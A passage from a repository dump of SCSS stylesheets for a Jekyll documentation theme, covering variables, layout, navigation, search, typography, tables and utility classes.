$grey-dk-300 !default; $body-text-color: $grey-dk-100 !default; $link-color: $purple-000 !default; $nav-child-link-color: $grey-dk-100 !default; $sidebar-color: $grey-lt-000 !default; $base-button-color: #f7f7f7 !default; $btn-primary-color: $purple-100 !default; $code-background-color: $grey-lt-000 !default; $feedback-color: darken($sidebar-color, 3%) !default; $table-background-color: $white !default; $search-background-color: $white !default; $search-result-preview-color: $grey-dk-000 !default; @import "./vendor/OneLightJekyll/syntax"; ================================================ FILE: _sass/content.scss ================================================ @charset "UTF-8"; // Styles for rendered markdown in the .main-content container // stylelint-disable selector-no-type, max-nesting-depth, selector-max-compound-selectors, selector-max-type, selector-max-specificity, selector-max-id .main-content { line-height: $content-line-height; ol, ul, dl, pre, address, blockquote, .table-wrapper { margin-top: 0.5em; } a { overflow: hidden; text-overflow: ellipsis; } ul, ol { padding-left: 1.5em; } li { .highlight { margin-top: $sp-1; } } ol { list-style-type: none; counter-reset: step-counter; > li { position: relative; &::before { position: absolute; top: 0.2em; left: -1.6em; color: $grey-dk-000; content: counter(step-counter); counter-increment: step-counter; @include fs-3; @include mq(sm) { top: 0.11em; } } ol { counter-reset: sub-counter; > li { &::before { content: counter(sub-counter, lower-alpha); counter-increment: sub-counter; } } } } } ul { list-style: none; > li { &::before { position: absolute; margin-left: -1.4em; color: $grey-dk-000; content: "•"; } } } .task-list-item { &::before { content: ""; } } .task-list-item-checkbox { margin-right: 0.6em; margin-left: -1.4em; // The same margin-left is used above for ul > li::before } hr + * { margin-top: 0; } h1:first-of-type { margin-top: 0.5em; } dl { display: grid; grid-template: auto / 10em 1fr; } dt, dd { margin: 0.25em 0; } dt { grid-column: 1; font-weight: 500; text-align: right; &::after { content: ":"; } } dd { grid-column: 2; margin-bottom: 0; margin-left: 1em; blockquote, div, dl, dt, h1, h2, h3, h4, h5, h6, li, ol, p, pre, table, ul, .table-wrapper { &:first-child { margin-top: 0; } } } dd, ol, ul { dl:first-child { dt:first-child, dd:nth-child(2) { margin-top: 0; } } } .anchor-heading { position: absolute; right: -$sp-4; width: $sp-5; height: 100%; padding-right: $sp-1; padding-left: $sp-1; overflow: visible; @include mq(md) { right: auto; left: -$sp-5; } svg { display: inline-block; width: 100%; height: 100%; color: $link-color; visibility: hidden; } } .anchor-heading:hover, .anchor-heading:focus, h1:hover > .anchor-heading, h2:hover > .anchor-heading, h3:hover > .anchor-heading, h4:hover > .anchor-heading, h5:hover > .anchor-heading, h6:hover > .anchor-heading { svg { visibility: visible; } } summary { cursor: pointer; } h1, h2, h3, h4, h5, h6, #toctitle { position: relative; margin-top: 1.5em; margin-bottom: 0.25em; + table, + .table-wrapper, + .code-example, + .highlighter-rouge, + .sectionbody .listingblock { margin-top: 1em; } + p:not(.label) { margin-top: 0; } } > h1:first-child, > h2:first-child, > h3:first-child, > h4:first-child, > h5:first-child, > h6:first-child, > .sect1:first-child > h2, > .sect2:first-child > h3, > .sect3:first-child > h4, > .sect4:first-child > h5, > .sect5:first-child > h6 { margin-top: $sp-2; } } ================================================ FILE: _sass/custom/custom.scss ================================================ // custom SCSS (or CSS) goes here ================================================ FILE: _sass/custom/setup.scss ================================================ // custom setup code goes here ================================================ FILE: _sass/labels.scss ================================================ // Labels (not the form kind) .label, .label-blue { display: inline-block; padding: 0.16em 0.56em; margin-right: $sp-2; margin-left: $sp-2; color: $white; text-transform: uppercase; vertical-align: middle; background-color: $blue-100; @include fs-2; border-radius: 12px; } .label-green { background-color: $green-200; } .label-purple { background-color: $purple-100; } .label-red { background-color: $red-200; } .label-yellow { color: $grey-dk-200; background-color: $yellow-200; } ================================================ FILE: _sass/layout.scss ================================================ // The basic two column layout .side-bar { z-index: 0; display: flex; flex-wrap: wrap; /*background-color: #1b1a1c;*/ background-color: #ffffff; @include mq(md) { flex-flow: column nowrap; position: fixed; width: $nav-width-md; height: 100%; border-right: $border $border-color; align-items: flex-end; } @include mq(lg) { width: calc((100% - #{$nav-width + $content-width}) / 2 + #{$nav-width}); min-width: $nav-width; } } .main { @include mq(md) { position: relative; max-width: $content-width; margin-left: $nav-width-md; } @include mq(lg) { // stylelint-disable function-name-case // disable for Max(), we want to use the CSS max() function margin-left: Max( #{$nav-width}, calc((100% - #{$nav-width + $content-width}) / 2 + #{$nav-width}) ); // stylelint-enable function-name-case } } .main-content-wrap { @include container; padding-top: $gutter-spacing-sm; padding-bottom: $gutter-spacing-sm; @include mq(md) { padding-top: $gutter-spacing; padding-bottom: $gutter-spacing; } } .main-header { z-index: 0; display: none; background-color: #1b1a1c; @include mq(md) { display: flex; justify-content: space-between; height: $header-height; background-color: $body-background-color; border-bottom: $border $border-color; } &.nav-open { display: block; @include mq(md) { display: flex; } } } .site-nav, .site-header, .site-footer { width: 100%; @include mq(lg) { width: $nav-width; } } .site-nav { display: none; &.nav-open { display: block; } @include mq(md) { display: block; padding-top: $sp-8; padding-bottom: $gutter-spacing-sm; overflow-y: auto; flex: 1 1 auto; } } .site-header { display: flex; min-height: $header-height; align-items: center; @include mq(md) { height: $header-height; max-height: $header-height; border-bottom: $border $border-color; } } .site-title { @include container; flex-grow: 1; display: flex; height: 100%; padding-right: 1rem !important; padding-left: 1rem !important; align-items: center; padding-top: $sp-3; padding-bottom: $sp-3; color: $body-heading-color; @include fs-6; @include mq(md) { padding-top: $sp-2; padding-bottom: $sp-2; } } @if variable-exists(logo) { .site-logo { width: 100%; height: 100%; background-image: url($logo); background-repeat: no-repeat; background-position: left center; background-size: contain; } } .site-button { display: flex; height: 100%; padding: $gutter-spacing-sm; align-items: center; } @include mq(md) { .site-header .site-button { display: none; } } .site-title:hover { background-image: linear-gradient( -90deg, rgba($feedback-color, 1) 0%, rgba($feedback-color, 0.8) 80%, rgba($feedback-color, 0) 100% ); } .site-button:hover { background-image: linear-gradient( -90deg, rgba($feedback-color, 1) 0%, rgba($feedback-color, 0.8) 100% ); } // stylelint-disable selector-max-type body { position: relative; padding-bottom: $sp-10; overflow-y: scroll; @include mq(md) { position: static; padding-bottom: 0; } } // stylelint-enable selector-max-type .site-footer { @include container; position: absolute; bottom: 0; left: 0; padding-top: $sp-4; padding-bottom: $sp-4; color: $grey-dk-000; @include fs-2; @include mq(md) { position: static; justify-self: end; } } .icon { width: $sp-5; height: $sp-5; color: $link-color; } ================================================ FILE: _sass/modules.scss ================================================ // Import external dependencies @import "./vendor/normalize.scss/normalize"; // Modules @import "./base"; @import "./layout"; @import "./content"; @import "./navigation"; @import "./typography"; @import "./labels"; @import "./buttons"; @import "./search"; @import "./tables"; @import "./code"; @import "./utilities/utilities"; @import "./print"; @import "./skiptomain"; ================================================ FILE: _sass/navigation.scss ================================================ // Main nav, breadcrumb, etc... // stylelint-disable selector-no-type, max-nesting-depth, selector-max-compound-selectors, selector-max-type, selector-max-specificity .nav-list { padding: 0; margin-top: 0; margin-bottom: 0; list-style: none; .nav-list-item { @include fs-4; position: relative; margin: 0; @include mq(md) { @include fs-3; } .nav-list-link { display: block; min-height: $nav-list-item-height-sm; padding-top: $sp-1; padding-bottom: $sp-1; line-height: #{$nav-list-item-height-sm - 2 * $sp-1}; @if $nav-list-expander-right { padding-right: $nav-list-item-height-sm; padding-left: $gutter-spacing-sm; } @else { padding-right: $gutter-spacing-sm; padding-left: $nav-list-item-height-sm; } @include mq(md) { min-height: $nav-list-item-height; line-height: #{$nav-list-item-height - 2 * $sp-1}; @if $nav-list-expander-right { padding-right: $nav-list-item-height; padding-left: $gutter-spacing; } @else { padding-right: $gutter-spacing; padding-left: $nav-list-item-height; } } &.external > svg { width: $sp-4; height: $sp-4; vertical-align: text-bottom; } &.active { font-weight: 600; text-decoration: none; } &:hover, &.active { background-image: linear-gradient( -90deg, rgba($feedback-color, 1) 0%, rgba($feedback-color, 0.8) 80%, rgba($feedback-color, 0) 100% ); } } .nav-list-expander { position: absolute; @if $nav-list-expander-right { right: 0; } width: $nav-list-item-height-sm; height: $nav-list-item-height-sm; padding: #{$nav-list-item-height-sm * 0.25}; color: $link-color; @include mq(md) { width: $nav-list-item-height; height: $nav-list-item-height; padding: #{$nav-list-item-height * 0.25}; } &:hover { background-image: linear-gradient( -90deg, rgba($feedback-color, 1) 0%, rgba($feedback-color, 0.8) 100% ); } @if $nav-list-expander-right { svg { transform: rotate(90deg); } } } > .nav-list { display: none; padding-left: $sp-3; list-style: none; .nav-list-item { position: relative; .nav-list-link { color: $nav-child-link-color; } .nav-list-expander { color: $nav-child-link-color; } } } &.active { > .nav-list-expander svg { @if $nav-list-expander-right { transform: rotate(-90deg); } @else { transform: rotate(90deg); } } > .nav-list { display: block; } } } } .nav-category { padding: $sp-2 $gutter-spacing-sm; font-weight: 600; text-align: start; text-transform: uppercase; border-bottom: $border $border-color; @include fs-2; @include mq(md) { padding: $sp-2 $gutter-spacing; margin-top: $gutter-spacing-sm; text-align: start; &:first-child { margin-top: 0; } } } .nav-list.nav-category-list { > .nav-list-item { margin: 0; > .nav-list { padding: 0; > .nav-list-item { > .nav-list-link { color: $link-color; } > .nav-list-expander { color: $link-color; } } } } } // Aux nav .aux-nav { height: 100%; overflow-x: auto; @include fs-2; .aux-nav-list { display: flex; height: 100%; padding: 0; margin: 0; list-style: none; } .aux-nav-list-item { display: inline-block; height: 100%; padding: 0; margin: 0; } @include mq(md) { padding-right: $gutter-spacing-sm; } } // Breadcrumb nav .breadcrumb-nav { @include mq(md) { margin-top: -$sp-4; } } .breadcrumb-nav-list { padding-left: 0; margin-bottom: $sp-3; list-style: none; } .breadcrumb-nav-list-item { display: table-cell; @include fs-2; &::before { display: none; } &::after { display: inline-block; margin-right: $sp-2; margin-left: $sp-2; color: $grey-dk-000; content: "/"; } &:last-child { &::after { content: ""; } } } ================================================ FILE: _sass/print.scss ================================================ // stylelint-disable selector-max-specificity, selector-max-id, selector-max-type, selector-no-qualifying-type @media print { .site-footer, .site-button, #edit-this-page, #back-to-top, .site-nav, .main-header { display: none !important; } .side-bar { width: 100%; height: auto; border-right: 0 !important; } .site-header { border-bottom: 1px solid $border-color; } .site-title { font-size: $root-font-size !important; font-weight: 700 !important; } .text-small { font-size: 8pt !important; } pre.highlight { border: 1px solid $border-color; } .main { max-width: none; margin-left: 0; } } ================================================ FILE: _sass/search.scss ================================================ // Search input and autocomplete .search { position: relative; z-index: 2; flex-grow: 1; height: $sp-10; padding: $sp-2; transition: padding linear #{$transition-duration * 0.5}; @include mq(md) { position: relative !important; width: auto !important; height: 100% !important; padding: 0; transition: none; } } .search-input-wrap { position: relative; z-index: 1; height: $sp-8; overflow: hidden; border-radius: $border-radius; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); transition: height linear #{$transition-duration * 0.5}; @include mq(md) { position: absolute; width: 100%; max-width: $search-results-width; height: 100% !important; border-radius: 0; box-shadow: none; transition: width ease $transition-duration; } } .search-input { position: absolute; width: 100%; height: 100%; padding: $sp-2 $gutter-spacing-sm $sp-2 #{$gutter-spacing-sm + $sp-5}; font-size: 16px; color: $body-text-color; background-color: #1b1a1c; border-top: 0; border-right: 0; border-bottom: 0; border-left: 0; border-radius: 0; @include mq(md) { padding: $sp-2 $gutter-spacing-sm $sp-2 #{$gutter-spacing + $sp-5}; font-size: 14px; background-color: $body-background-color; transition: padding-left linear #{$transition-duration * 0.5}; } &:focus { outline: 0; + .search-label .search-icon { color: $link-color; } } } .search-label { position: absolute; display: flex; height: 100%; padding-left: $gutter-spacing-sm; @include mq(md) { padding-left: $gutter-spacing; transition: padding-left linear #{$transition-duration * 0.5}; } .search-icon { width: #{$sp-4 * 1.2}; height: #{$sp-4 * 1.2}; align-self: center; color: $grey-dk-000; } } .search-results { position: absolute; left: 0; display: none; width: 100%; max-height: calc(100% - #{$sp-10}); overflow-y: auto; background-color: $search-background-color; border-bottom-right-radius: $border-radius; border-bottom-left-radius: $border-radius; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); @include mq(md) { top: 100%; width: $search-results-width; max-height: calc(100vh - 200%) !important; } } .search-results-list { padding-left: 0; margin-bottom: $sp-1; list-style: none; @include fs-4; @include mq(md) { @include fs-3; } } .search-results-list-item { padding: 0; margin: 0; } .search-result { display: block; padding: $sp-1 $sp-3; &:hover, &.active { background-color: $feedback-color; } } .search-result-title { display: block; padding-top: $sp-2; padding-bottom: $sp-2; @include mq(sm) { display: inline-block; width: 40%; padding-right: $sp-2; vertical-align: top; } } .search-result-doc { display: flex; align-items: center; word-wrap: break-word; &.search-result-doc-parent { opacity: 0.5; @include fs-3; @include mq(md) { @include fs-2; } } .search-result-icon { width: $sp-4; height: $sp-4; margin-right: $sp-2; color: $link-color; flex-shrink: 0; } .search-result-doc-title { overflow: auto; } } .search-result-section { margin-left: #{$sp-4 + $sp-2}; word-wrap: break-word; } .search-result-rel-url { display: block; margin-left: #{$sp-4 + $sp-2}; overflow: hidden; color: $search-result-preview-color; text-overflow: ellipsis; white-space: nowrap; @include fs-1; } .search-result-previews { display: block; padding-top: $sp-2; padding-bottom: $sp-2; padding-left: $sp-4; margin-left: $sp-2; color: $search-result-preview-color; word-wrap: break-word; border-left: $border; border-left-color: $border-color; @include fs-2; @include mq(sm) { display: inline-block; width: 60%; padding-left: $sp-2; margin-left: 0; vertical-align: top; } } .search-result-preview + .search-result-preview { margin-top: $sp-1; } .search-result-highlight { font-weight: bold; } .search-no-result { padding: $sp-2 $sp-3; @include fs-3; } .search-button { position: fixed; right: $sp-4; bottom: $sp-4; display: flex; width: $sp-9; height: $sp-9; background-color: $search-background-color; border: 1px solid rgba($link-color, 0.3); border-radius: #{$sp-9 * 0.5}; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); align-items: center; justify-content: center; } .search-overlay { position: fixed; top: 0; left: 0; z-index: 1; width: 0; height: 0; background-color: rgba(0, 0, 0, 0.3); opacity: 0; transition: opacity ease $transition-duration, width 0s $transition-duration, height 0s $transition-duration; } .search-active { .search { position: fixed; top: 0; left: 0; width: 100%; height: 100%; padding: 0; } .search-input-wrap { height: $sp-10; border-radius: 0; @include mq(md) { width: $search-results-width; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); } } .search-input { background-color: $search-background-color; @include mq(md) { padding-left: 2.3rem; } } .search-label { @include mq(md) { padding-left: 0.6rem; } } .search-results { display: block; } .search-overlay { width: 100%; height: 100%; opacity: 1; transition: opacity ease $transition-duration, width 0s, height 0s; } @include mq(md) { .main { position: fixed; right: 0; left: 0; } } .main-header { padding-top: $sp-10; @include mq(md) { padding-top: 0; } } } ================================================ FILE: _sass/skiptomain.scss ================================================ // Skipnav // Skip to main content a.skip-to-main { left: -999px; position: absolute; top: auto; width: 1px; height: 1px; overflow: hidden; z-index: -999; } a.skip-to-main:focus, a.skip-to-main:active { color: $link-color; background-color: $body-background-color; left: auto; top: auto; width: 30%; height: auto; overflow: auto; margin: 10px 35%; padding: 5px; border-radius: 15px; border: 4px solid $btn-primary-color; text-align: center; font-size: 1.2em; z-index: 999; } ================================================ FILE: _sass/support/_functions.scss ================================================ @function rem($size, $unit: "") { $rem-size: $size / $root-font-size; @if $unit == false { @return #{$rem-size}; } @else { @return #{$rem-size}rem; } } ================================================ FILE: _sass/support/_variables.scss ================================================ // Typography $body-font-family: system-ui, -apple-system, blinkmacsystemfont, "Segoe UI", roboto, "Helvetica Neue", arial, sans-serif !default; $mono-font-family: "SFMono-Regular", menlo, consolas, monospace !default; $root-font-size: 16px !default; // Base font-size for rems $body-line-height: 1.4 !default; $content-line-height: 1.6 !default; $body-heading-line-height: 1.25 !default; // Font size // `-sm` suffix is the size at the small (and above) media query $font-size-1: 9px !default; $font-size-1-sm: 10px !default; $font-size-2: 11px !default; // h4 - uppercased!, h6 not uppercased, text-small $font-size-3: 12px !default; // h5 $font-size-4: 14px !default; $font-size-5: 16px !default; // h3 $font-size-6: 18px !default; // h2 $font-size-7: 20px !default; $font-size-8: 32px !default; // h1 $font-size-9: 36px !default; $font-size-10: 42px !default; $font-size-10-sm: 48px !default; // Colors $white: #fff !default; $grey-dk-000: #959396 !default; $grey-dk-100: #5c5962 !default; $grey-dk-200: #44434d !default; $grey-dk-250: #302d36 !default; $grey-dk-300: #1b1a1c !default; $grey-lt-000: #f5f6fa !default; $grey-lt-100: #eeebee !default; $grey-lt-200: #ecebed !default; $grey-lt-300: #e6e1e8 !default; $purple-000: #7253ed !default; $purple-100: #5e41d0 !default; $purple-200: #4e26af !default; $purple-300: #381885 !default; $blue-000: #2c84fa !default; $blue-100: #2869e6 !default; $blue-200: #264caf !default; $blue-300: #183385 !default; $green-000: #41d693 !default; $green-100: #11b584 !default; $green-200: #009c7b !default; $green-300: #026e57 !default; $yellow-000: #ffeb82 !default; $yellow-100: #fadf50 !default; $yellow-200: #f7d12e !default; $yellow-300: #e7af06 !default; $red-000: #f77e7e !default; $red-100: #f96e65 !default; $red-200: #e94c4c !default; $red-300: #dd2e2e !default; // Spacing $spacing-unit: 1rem; // 1rem == 16px $spacers: ( sp-0: 0, sp-1: $spacing-unit * 0.25, sp-2: $spacing-unit * 0.5, sp-3: $spacing-unit * 0.75, sp-4: $spacing-unit, sp-5: $spacing-unit * 1.5, sp-6: $spacing-unit * 2, sp-7: $spacing-unit * 2.5, sp-8: $spacing-unit * 3, sp-9: $spacing-unit * 3.5, sp-10: $spacing-unit * 4, ) !default; $sp-1: map-get($spacers, sp-1) !default; // 0.25 rem == 4px $sp-2: map-get($spacers, sp-2) !default; // 0.5 rem == 8px $sp-3: map-get($spacers, sp-3) !default; // 0.75 rem == 12px $sp-4: map-get($spacers, sp-4) !default; // 1 rem == 16px $sp-5: map-get($spacers, sp-5) !default; // 1.5 rem == 24px $sp-6: map-get($spacers, sp-6) !default; // 2 rem == 32px $sp-7: map-get($spacers, sp-7) !default; // 2.5 rem == 40px $sp-8: map-get($spacers, sp-8) !default; // 3 rem == 48px $sp-9: map-get($spacers, sp-9) !default; // 3.5 rem == 56px $sp-10: map-get($spacers, sp-10) !default; // 4 rem == 64px // Borders $border: 1px solid !default; $border-radius: 4px !default; $border-color: $grey-lt-100 !default; // Grid system $gutter-spacing: $sp-6 !default; $gutter-spacing-sm: $sp-4 !default; $nav-width: 264px !default; $nav-width-md: 248px !default; $nav-list-item-height: $sp-6 !default; $nav-list-item-height-sm: $sp-8 !default; $nav-list-expander-right: true; $content-width: 800px !default; $header-height: 60px !default; $search-results-width: $content-width - $nav-width !default; $transition-duration: 400ms; // Media queries in pixels $media-queries: ( xs: 320px, sm: 500px, md: $content-width, lg: $content-width + $nav-width, xl: 1400px, ) !default; ================================================ FILE: _sass/support/mixins/_buttons.scss ================================================ // Colored button @mixin btn-color($fg, $bg) { color: $fg; background-color: darken($bg, 2%); background-image: linear-gradient(lighten($bg, 5%), darken($bg, 2%)); box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), 0 4px 10px rgba(0, 0, 0, 0.12); &:hover, &.zeroclipboard-is-hover { color: $fg; background-color: darken($bg, 4%); background-image: linear-gradient((lighten($bg, 2%), darken($bg, 4%))); } &:active, &.selected, &.zeroclipboard-is-active { background-color: darken($bg, 5%); background-image: none; box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15); } &.selected:hover { background-color: darken($bg, 10%); } } ================================================ FILE: _sass/support/mixins/_layout.scss ================================================ // Media query // Media query mixin // Usage: // @include mq(md) { // ..medium and up styles // } @mixin mq($name) { // Retrieves the value from the key $value: map-get($media-queries, $name); // If the key exists in the map @if $value { // Prints a media query based on the value @media (min-width: rem($value)) { @content; } } @else { @warn "No value could be retrieved from `#{$media-query}`. Please make sure it is defined in `$media-queries` map."; } } // Responsive container @mixin container { padding-right: $gutter-spacing-sm; padding-left: $gutter-spacing-sm; @include mq(md) { padding-right: $gutter-spacing; padding-left: $gutter-spacing; } } ================================================ FILE: _sass/support/mixins/_typography.scss ================================================ @mixin fs-1 { font-size: $font-size-1 !important; @include mq(sm) { font-size: $font-size-1-sm !important; } } @mixin fs-2 { font-size: $font-size-2 !important; @include mq(sm) { font-size: $font-size-3 !important; } } @mixin fs-3 { font-size: $font-size-3 !important; @include mq(sm) { font-size: $font-size-4 !important; } } @mixin fs-4 { font-size: $font-size-4 !important; @include mq(sm) { font-size: $font-size-5 !important; } } @mixin fs-5 { font-size: $font-size-5 !important; @include mq(sm) { font-size: $font-size-6 !important; } } @mixin fs-6 { font-size: $font-size-6 !important; @include mq(sm) { font-size: $font-size-7 !important; line-height: $body-heading-line-height; } } @mixin fs-7 { font-size: $font-size-7 !important; line-height: $body-heading-line-height; @include mq(sm) { font-size: $font-size-8 !important; } } @mixin fs-8 { font-size: $font-size-8 !important; line-height: $body-heading-line-height; @include mq(sm) { font-size: $font-size-9 !important; } } @mixin fs-9 { font-size: $font-size-9 !important; line-height: $body-heading-line-height; @include mq(sm) { font-size: $font-size-10 !important; } } @mixin fs-10 { font-size: $font-size-10 !important; line-height: $body-heading-line-height; @include mq(sm) { font-size: $font-size-10-sm !important; } } ================================================ FILE: _sass/support/mixins/mixins.scss ================================================ @import "./layout"; @import "./buttons"; @import "./typography"; ================================================ FILE: _sass/support/support.scss ================================================ @import "./variables"; @import "./functions"; @import "./mixins/mixins"; ================================================ FILE: _sass/tables.scss ================================================ // Tables // stylelint-disable max-nesting-depth, selector-no-type, selector-max-type .table-wrapper { display: block; width: 100%; max-width: 100%; margin-bottom: $sp-5; overflow-x: auto; border-radius: $border-radius; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); } table { display: table; min-width: 100%; border-collapse: separate; } th, td { @include fs-3; min-width: 120px; padding: $sp-2 $sp-3; background-color: $table-background-color; border-bottom: $border rgba($border-color, 0.5); border-left: $border $border-color; &:first-of-type { border-left: 0; } } tbody { tr { &:last-of-type { th, td { border-bottom: 0; } td { padding-bottom: $sp-3; } } } } thead { th { border-bottom: $border $border-color; } } ================================================ FILE: _sass/typography.scss ================================================ // Typography // stylelint-disable selector-no-type, selector-max-type, selector-max-specificity, selector-max-id h1, .text-alpha { @include fs-8; font-weight: 300; } h2, .text-beta, #toctitle { @include fs-6; } h3, .text-gamma { @include fs-5; } h4, .text-delta { @include fs-2; font-weight: 400; text-transform: uppercase; letter-spacing: 0.1em; } h4 code { text-transform: none; } h5, .text-epsilon { @include fs-3; } h6, .text-zeta { @include fs-2; } .text-small { @include fs-2; } .text-mono { font-family: $mono-font-family !important; } .text-left { text-align: left !important; } .text-center { text-align: center !important; } .text-right { text-align: right !important; } ================================================ FILE: _sass/utilities/_colors.scss ================================================ // Utility classes for colors // Text colors .text-grey-dk-000 { color: $grey-dk-000 !important; } .text-grey-dk-100 { color: $grey-dk-100 !important; } .text-grey-dk-200 { color: $grey-dk-200 !important; } .text-grey-dk-250 { color: $grey-dk-250 !important; } .text-grey-dk-300 { color: $grey-dk-300 !important; } .text-grey-lt-000 { color: $grey-lt-000 !important; } .text-grey-lt-100 { color: $grey-lt-100 !important; } .text-grey-lt-200 { color: $grey-lt-200 !important; } .text-grey-lt-300 { color: $grey-lt-300 !important; } .text-blue-000 { color: $blue-000 !important; } .text-blue-100 { color: $blue-100 !important; } .text-blue-200 { color: $blue-200 !important; } .text-blue-300 { color: $blue-300 !important; } .text-green-000 { color: $green-000 !important; } .text-green-100 { color: $green-100 !important; } .text-green-200 { color: $green-200 !important; } .text-green-300 { color: $green-300 !important; } .text-purple-000 { color: $purple-000 !important; } .text-purple-100 { color: $purple-100 !important; } .text-purple-200 { color: $purple-200 !important; } .text-purple-300 { color: $purple-300 !important; } .text-yellow-000 { color: $yellow-000 !important; } .text-yellow-100 { color: $yellow-100 !important; } .text-yellow-200 { color: $yellow-200 !important; } .text-yellow-300 { color: $yellow-300 !important; } .text-red-000 { color: $red-000 !important; } .text-red-100 { color: $red-100 !important; } .text-red-200 { color: $red-200 !important; } .text-red-300 { color: $red-300 !important; } // Background colors .bg-grey-dk-000 { background-color: $grey-dk-000 !important; } .bg-grey-dk-100 { background-color: $grey-dk-100 !important; } .bg-grey-dk-200 { background-color: $grey-dk-200 !important; } .bg-grey-dk-250 { background-color: $grey-dk-250 !important; } .bg-grey-dk-300 { background-color: $grey-dk-300 !important; } .bg-grey-lt-000 { background-color: $grey-lt-000 !important; } .bg-grey-lt-100 { background-color: $grey-lt-100 !important; } .bg-grey-lt-200 { background-color: $grey-lt-200 !important; } .bg-grey-lt-300 { background-color: $grey-lt-300 !important; } .bg-blue-000 { background-color: $blue-000 !important; } .bg-blue-100 { background-color: $blue-100 !important; } .bg-blue-200 { background-color: $blue-200 !important; } .bg-blue-300 { background-color: $blue-300 !important; } .bg-green-000 { background-color: $green-000 !important; } .bg-green-100 { background-color: $green-100 !important; } .bg-green-200 { background-color: $green-200 !important; } .bg-green-300 { background-color: $green-300 !important; } .bg-purple-000 { background-color: $purple-000 !important; } .bg-purple-100 { background-color: $purple-100 !important; } .bg-purple-200 { background-color: $purple-200 !important; } .bg-purple-300 { background-color: $purple-300 !important; } .bg-yellow-000 { background-color: $yellow-000 !important; } .bg-yellow-100 { background-color: $yellow-100 !important; } .bg-yellow-200 { background-color: $yellow-200 !important; } .bg-yellow-300 { background-color: $yellow-300 !important; } .bg-red-000 { background-color: $red-000 !important; } .bg-red-100 { background-color: $red-100 !important; } .bg-red-200 { background-color: $red-200 !important; } .bg-red-300 { background-color: $red-300 !important; } ================================================ FILE: _sass/utilities/_layout.scss ================================================ // Utility classes for layout // Display .d-block { display: block !important; } .d-flex { display: flex !important; } .d-inline { display: inline !important; } .d-inline-block { display: inline-block !important; } .d-none { display: none !important; } @each $media-query in map-keys($media-queries) { @for $i from 1 through length($spacers) { @include mq($media-query) { $size: #{map-get($spacers, sp-#{$i - 1})}; $scale: #{$i - 1}; // .d-sm-block, .d-md-none, .d-lg-inline .d-#{$media-query}-block { display: block !important; } .d-#{$media-query}-flex { display: flex !important; } .d-#{$media-query}-inline { display: inline !important; } .d-#{$media-query}-inline-block { display: inline-block !important; } .d-#{$media-query}-none { display: none !important; } } } } // Horizontal alignment .float-left { float: left !important; } .float-right { float: right !important; } .flex-justify-start { justify-content: flex-start !important; } .flex-justify-end { justify-content: flex-end !important; } .flex-justify-between { justify-content: space-between !important; } .flex-justify-around { justify-content: space-around !important; } // Vertical alignment .v-align-baseline { vertical-align: baseline !important; } .v-align-bottom { vertical-align: bottom !important; } .v-align-middle { vertical-align: middle !important; } .v-align-text-bottom { vertical-align: text-bottom !important; } .v-align-text-top { vertical-align: text-top !important; } .v-align-top { vertical-align: top !important; } ================================================ FILE: _sass/utilities/_lists.scss ================================================ // Utility classes for lists // stylelint-disable selector-max-type .list-style-none { padding: 0 !important; margin: 0 !important; list-style: none !important; li { &::before { display: none !important; } } } ================================================ FILE: _sass/utilities/_spacing.scss ================================================ // Utility classes for margins and padding // stylelint-disable block-opening-brace-space-after, block-opening-brace-space-before // Margin spacer utilities .mx-auto { margin-right: auto !important; margin-left: auto !important; } @for $i from 1 through length($spacers) { $size: #{map-get($spacers, sp-#{$i - 1})}; $scale: #{$i - 1}; // .m-0, .m-1, .m-2... .m-#{$scale} { margin: #{$size} !important; } .mt-#{$scale} { margin-top: #{$size} !important; } .mr-#{$scale} { margin-right: #{$size} !important; } .mb-#{$scale} { margin-bottom: #{$size} !important; } .ml-#{$scale} { margin-left: #{$size} !important; } .mx-#{$scale} { margin-right: #{$size} !important; margin-left: #{$size} !important; } .my-#{$scale} { margin-top: #{$size} !important; margin-bottom: #{$size} !important; } .mxn-#{$scale} { margin-right: -#{$size} !important; margin-left: -#{$size} !important; } .mx-#{$scale}-auto { margin-right: auto !important; margin-left: auto !important; } } @each $media-query in map-keys($media-queries) { @for $i from 1 through length($spacers) { @include mq($media-query) { $size: #{map-get($spacers, sp-#{$i - 1})}; $scale: #{$i - 1}; // .m-sm-0, .m-md-1, .m-lg-2... .m-#{$media-query}-#{$scale} { margin: #{$size} !important; } .mt-#{$media-query}-#{$scale} { margin-top: #{$size} !important; } .mr-#{$media-query}-#{$scale} { margin-right: #{$size} !important; } .mb-#{$media-query}-#{$scale} { margin-bottom: #{$size} !important; } .ml-#{$media-query}-#{$scale} { margin-left: #{$size} !important; } .mx-#{$media-query}-#{$scale} { margin-right: #{$size} !important; margin-left: #{$size} !important; } .my-#{$media-query}-#{$scale} { margin-top: #{$size} !important; margin-bottom: #{$size} !important; } .mxn-#{$media-query}-#{$scale} { margin-right: -#{$size} !important; margin-left: -#{$size} !important; } } } } // Padding spacer utilities @for $i from 1 through length($spacers) { $size: #{map-get($spacers, sp-#{$i - 1})}; $scale: #{$i - 1}; // .p-0, .p-1, .p-2... .p-#{$scale} { padding: #{$size} !important; } .pt-#{$scale} { padding-top: #{$size} !important; } .pr-#{$scale} { padding-right: #{$size} !important; } .pb-#{$scale} { padding-bottom: #{$size} !important; } .pl-#{$scale} { padding-left: #{$size} !important; } .px-#{$scale} { padding-right: #{$size} !important; padding-left: #{$size} !important; } .py-#{$scale} { padding-top: #{$size} !important; padding-bottom: #{$size} !important; } } @each $media-query in map-keys($media-queries) { @include mq($media-query) { @for $i from 1 through length($spacers) { $size: #{map-get($spacers, sp-#{$i - 1})}; $scale: #{$i - 1}; // .p-sm-0, .p-md-1, .p-lg-2... .p-#{$media-query}-#{$scale} { padding: #{$size} !important; } .pt-#{$media-query}-#{$scale} { padding-top: #{$size} !important; } .pr-#{$media-query}-#{$scale} { padding-right: #{$size} !important; } .pb-#{$media-query}-#{$scale} { padding-bottom: #{$size} !important; } .pl-#{$media-query}-#{$scale} { padding-left: #{$size} !important; } .px-#{$media-query}-#{$scale} { padding-right: #{$size} !important; padding-left: 